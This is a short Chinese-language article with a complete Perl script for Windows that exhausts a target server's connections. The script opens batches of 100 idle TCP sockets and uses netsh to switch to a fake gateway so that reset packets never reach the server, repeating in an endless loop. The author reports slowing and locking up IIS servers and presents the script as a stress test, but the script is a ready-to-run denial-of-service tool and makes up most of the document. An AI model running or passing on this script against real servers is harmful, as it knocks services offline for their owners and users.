在网络编程中,管理连接是一个重要的环节。连接超时是一个关键的设置,它可以帮助减少由于空闲连接而消耗的处理资源。启用连接超时后,如IIS/Apache等大多数HTTP服务器会在连接级别强制执行超时。虽然这些服务器通常都很安全,但也有一些非典型的服务器可能不够安全,容易受到恶意连接的攻击。
本文将介绍一个用于生成与服务器/端口的已建立空闲连接的脚本。在Windows 2000服务器上运行此脚本时,它能够使服务器在3000个打开的连接下变得非常缓慢,而脚本本身只占用了很少的内存。
也在Windows XPIIS服务器上测试了这个脚本,该服务器在仅建立了10个套接字连接后就拒绝了新的连接。提前终止了服务器压力测试,因为不确定ISP会如何处理这种情况,以及可能产生的后果。
在Linux下,人们可能会使用IPtables或者创建原始数据包来故意不发送[RST]。但在Windows下,没有找到这样的工具。
以下是脚本的一般工作原理。它调用了一个Windows工具:
netsh interface ip set address name="Wireless Network Connection" static 192.168.1.4 255.255.255.0 1.1.1.1 1
这将设置一个假的网关1.1.1.1,从而关闭了所有的本地Perl套接字,这些套接字生成了典型的[RST]数据包,但由于网关是假的,它们无法通知目标服务器。接下来,会重新打开网关:
netsh interface ip set address name="Wireless Network Connection" static 192.168.1.4 255.255.255.0 192.168.1.1 1
然后生成100个新的打开的套接字,并重复这个过程。这个脚本阻止了任何客户端到服务器的HTTP [RST, ACK]数据包,这使得服务器套接字保持在已建立的状态。
#!/usr/bin/perl -w
# Generates ESTABLISHED idle connections on the target IP/port.
use IO::Socket;
use Thread;
use Win32::OLE qw(in);
# --- SCRIPT CONFIGURATION ---
my $host="127.0.0.1";
my $port=80;
# --- END CONFIGURATION ---
my $ip="";
my $gateway="";
my $fake_gateway="1.1.1.1";
my $mask="";
my $adpater="";
print "Getting local IP, Gateway, and Subnet Mask.\n";
$object=Win32::OLE->GetObject('winmgmts:{impersonationLevel=impersonate}!//.');
foreach my $nic(in$object->InstancesOf('Win32_NetworkAdapterConfiguration')){
next unless $nic->{IPEnabled};
$ip=@{$nic->{IPAddress}}[0];
$gateway=@{$nic->{DefaultIPGateway}}[0];
$mask=@{$nic->{IPSubnet}}[0];
print "$ip $gateway $mask\n";
last;
}
print "Getting Ethernet Adapter Name.\n";
$objWMI = Win32::OLE->GetObject("winmgmts://./root/cimv2");
$colNAs = $objWMI->InstancesOf('Win32_NetworkAdapter');
foreach my $objNA (in $colNAs){
next unless $objNA->{NetEnabled};
$adapter=$objNA->NetConnectionID;
print "$adapter\n";
last;
}
while (1) {
for ($n=0;$n<=100;$n++){
$thr=new Thread\&connect
$thr->detach;
$t++;
print "Connection: $t\n";
# Sleep 0.5 seconds...
select(undef, undef, undef, 0.5);
}
print "\nDisabling Gateway...\n";
system("netsh interface ip set address name=\"$adapter\"
static $ip $mask $fake_gateway 1");
sleep 5;
print "\nEnabling Gateway....\n";
system("netsh interface ip set address name=\"$adapter\" static $ip $mask $gateway 1");
sleep 5;
}
sub connect{IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port);}